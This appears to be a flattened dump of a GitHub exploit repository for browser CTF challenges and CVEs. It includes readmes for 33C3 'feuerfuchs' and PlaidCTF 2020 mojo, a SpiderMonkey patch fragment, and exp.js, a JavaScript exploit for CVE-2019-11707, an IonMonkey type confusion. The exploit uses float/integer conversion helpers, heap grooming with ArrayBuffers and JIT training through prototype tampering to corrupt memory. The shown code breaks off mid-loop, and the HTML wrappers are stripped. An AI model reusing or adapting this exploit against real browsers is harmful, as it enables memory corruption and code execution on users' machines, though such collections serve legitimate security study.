Setter(JSContext* cx, unsigned argc, Value* vp) 131 | + { 132 | + CallArgs args = CallArgsFromVp(argc, vp); 133 | + return CallNonGenericMethod>(cx, args); 134 | + } 135 | + 136 | + 137 | static const JSFunctionSpec protoFunctions[]; 138 | static const JSPropertySpec protoAccessors[]; 139 | static const JSFunctionSpec staticFunctions[]; 140 | -------------------------------------------------------------------------------- /0x07-33c3-feuerfuchs-side-effect/libc.so.6: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rtfingc/cve-repo/1be49bac8a3f20c3587246a3c853a29b7bd5f96c/0x07-33c3-feuerfuchs-side-effect/libc.so.6 -------------------------------------------------------------------------------- /0x07-33c3-feuerfuchs-side-effect/libxul.tar.xz: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rtfingc/cve-repo/1be49bac8a3f20c3587246a3c853a29b7bd5f96c/0x07-33c3-feuerfuchs-side-effect/libxul.tar.xz -------------------------------------------------------------------------------- /0x07-33c3-feuerfuchs-side-effect/readme: -------------------------------------------------------------------------------- 1 | ubuntu 1604 2 | 3 | https://ftp.mozilla.org/pub/firefox/releases/50.1.0/source/firefox-50.1.0.source.tar.xz 4 | -------------------------------------------------------------------------------- /0x08-cve-2019-11707-ionmonkey-type-confuse/exp/exp.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 9 | 10 | 11 | 12 | 13 | 14 |

Please wait...

15 | 16 | 17 | 18 | -------------------------------------------------------------------------------- /0x08-cve-2019-11707-ionmonkey-type-confuse/exp/exp.js: -------------------------------------------------------------------------------- 1 | var conversion_buffer = new ArrayBuffer(8); 2 | var f64 = new Float64Array(conversion_buffer); 3 | var i32 = new Uint32Array(conversion_buffer); 4 | 5 | var BASE32 = 0x100000000; 6 | function f2i(f) { 7 | f64[0] = f; 8 | return i32[0] + BASE32 * i32[1]; 9 | } 10 | 11 | function i2f(i) { 12 | i32[0] = i % BASE32; 13 | i32[1] = i / BASE32; 14 | return f64[0]; 15 | } 16 | 17 | function hex(addr){ 18 | return '0x'+addr.toString(16); 19 | } 20 | function print(msg) { 21 | console.log(msg); 22 | // document.body.innerText += '\n[+]: '+msg ; 23 | document.body.innerHTML += '
[+]: '+msg ; 24 | } 25 | 26 | function some(buf,addr){ 27 | buf.jjj=i2f(addr); 28 | } 29 | function pwn(){ 30 | buf=[]; 31 | for(let i=0;i<0x10;i++) 32 | buf.push(new ArrayBuffer(0x60)); 33 | var abuf = buf[5]; 34 | var e=new Uint32Array(abuf); 35 | e[0]=0x61626364; 36 | e[1]=0x31323334; 37 | const arr = [e,e,e,e,e]; 38 | function vuln(a1){ 39 | if(arr.length==0){ 40 | arr[3] = e; 41 | } 42 | const v11 = arr.pop(); 43 | v11[a1] = 0x100; 44 | for(let i =0;i<100000;i++){} 45 | 46 | } 47 | p = [new Uint8Array(abuf),e,e]; 48 | arr.__proto__=p; 49 | for(let i=0;i<2000;i++){ 50 | vuln(34); 51 | } 52 | 53 | for(let i=0;i 2 | 3 | 4 | 9 | 10 | 11 | 12 | 13 | 192 | 193 | 194 | -------------------------------------------------------------------------------- /0x09-plaidctf-2020-mojo/readme.txt: -------------------------------------------------------------------------------- 1 | https://ctftime.org/task/11314 2 | 3 | https://play.plaidctf.com/files/mojo-837fd2df59f60214ffa666a0b71238b260ffd9114fd612a7f633f4ba1b4da74f.tar.gz 4 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # cve-repo --------------------------------------------------------------------------------